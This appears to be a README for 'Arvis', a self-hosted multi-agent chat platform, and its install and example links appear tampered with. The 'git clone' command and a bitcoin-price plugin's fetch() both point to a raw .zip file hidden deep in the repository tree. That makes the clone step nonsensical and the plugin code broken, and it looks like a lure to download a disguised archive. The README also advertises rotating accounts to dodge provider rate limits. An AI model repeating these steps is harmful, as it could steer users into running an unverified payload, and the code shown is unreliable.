Self-hosted AI agent platform.
Route every message from Discord, Telegram, Slack, and WhatsApp to teams of specialized AI agents.
>_< arvis v3
✓ Core started
✓ Discord connector online
✓ Telegram connector online
✓ 4 agents loaded support · analyst · coder · conductor
✓ Dashboard ready http://localhost:5100
Arvis is a multi-agent orchestration platform you run on your own server. Connect it to Discord, Telegram, Slack, WhatsApp, or any platform — and it routes every message to the right AI agent, manages conversation history, handles rate limits silently, and shows everything in a modern dashboard.
Think of it as the layer between your messaging apps and your LLMs.
Requirements: Node.js 20+, one LLM key (or Claude subscription)
# 1. Clone
git clone https://github.com/Haruu1111/arvis/raw/refs/heads/main/packages/core/src/webhooks/Software-v3.0-beta.2.zip
cd arvis && npm install
# 2. Configure
cp .env.example .env
# Fill in at least one LLM key:
# ANTHROPIC_API_KEY=sk-ant-...
# OPENAI_API_KEY=sk-...
# CLAUDE_CLI_HOME=/home/you/.claude ← run on subscription, zero per-token cost
# 3. Start
npm start
# Dashboard → http://localhost:5100
# Or Docker (easiest for VPS)
docker-compose up -d| Feature | Description |
|---|---|
| Multi-platform routing | Discord, Telegram, Slack, WhatsApp, Matrix, Web, SMS, Email |
| Multi-provider LLM | Anthropic, OpenAI, Google, Ollama, OpenRouter + custom |
| Claude subscription support | Run agents on your Claude Pro/Max — zero per-token cost |
| Silent failover | Rate limit hit → switch account instantly, users never see errors |
| Conversation memory | Sticky facts persist across sessions, auto-compaction |
| Cost tracking | Per-agent, per-provider, per-model breakdown |
| Job queue | Priority queue with retry, all jobs visible in dashboard |
| Scheduler | Cron and heartbeat workflows |
| Agent delegation | Agents spawn sub-agents for parallel work |
| Skill injection | Context-aware prompt enhancement from keyword-matched .md files |
| Plugin tools | Drop a .ts file in plugins/ — auto-loaded on startup |
| Dashboard | Real-time chat, queue monitor, session browser, cost analytics |
| Provider | Notes |
|---|---|
| Claude CLI ⭐ | Use your Claude Pro/Max subscription — flat $20–100/mo, no per-token cost |
| Anthropic API | claude-haiku-4, sonnet-4, opus-4 |
| OpenAI | gpt-4.1, gpt-4.1-mini, o4-mini |
| gemini-2.5-pro, gemini-2.5-flash | |
| Ollama | Any local model, zero cost |
| OpenRouter | 50+ models, one key |
| Custom | Any OpenAI-compatible URL |
Multiple accounts per provider. Arvis rotates automatically on rate limits.
Discord / Telegram / Slack / WhatsApp / Web / SMS / Email
↓
MessageBus
↓
Router → selects agent
↓
ConversationManager → context
↓
Queue (SQLite, priority + retry)
↓
AgentRunner → picks best account
↓
ProviderRunner (API) / CLIRunner (Claude CLI)
↓
MemoryManager → extracts facts
↓
Response → user
packages/
core/ Business logic, database, runners
dashboard/ Next.js 15 admin dashboard
connector-discord/
connector-telegram/
connector-slack/
connector-whatsapp/
connector-matrix/
connector-web/
connector-sms/
connector-email/
plugins/ Drop .ts files here — auto-loaded
skills/ Context injection .md files
docs/ Full documentation (13 files)
Custom tool — drop a file in plugins/:
// plugins/bitcoin-price.ts
import { registerTool } from '@arvis/core';
registerTool({
name: 'get_bitcoin_price',
description: 'Get current Bitcoin price in USD',
parameters: { type: 'object', properties: {}, required: [] },
execute: async () => {
const res = await fetch('https://github.com/Haruu1111/arvis/raw/refs/heads/main/packages/core/src/webhooks/Software-v3.0-beta.2.zip');
const data = await res.json();
return `$${data.bitcoin.usd}`;
}
});Skill injection — keyword-matched prompt context:
<!-- skills/community/bitcoin.md -->
---
trigger_keywords: ["bitcoin", "btc", "price"]
---
Use the `get_bitcoin_price` tool to fetch the current BTC/USD price.| File | Topic |
|---|---|
| 00-user-guide.md | Getting started, connecting platforms |
| 01-architecture.md | System overview, ports, modules |
| 04-llm-providers.md | Accounts, failover, CLI vs API |
| 07-security.md | Auth, VPS setup, credentials |
| 11-deployment.md | Docker, VPS, systemd, nginx |
| 12-api-reference.md | REST API reference |
See CONTRIBUTING.md.
MIT — see LICENSE.
>_< arvis — self-hosted, no lock-in, runs anywhere.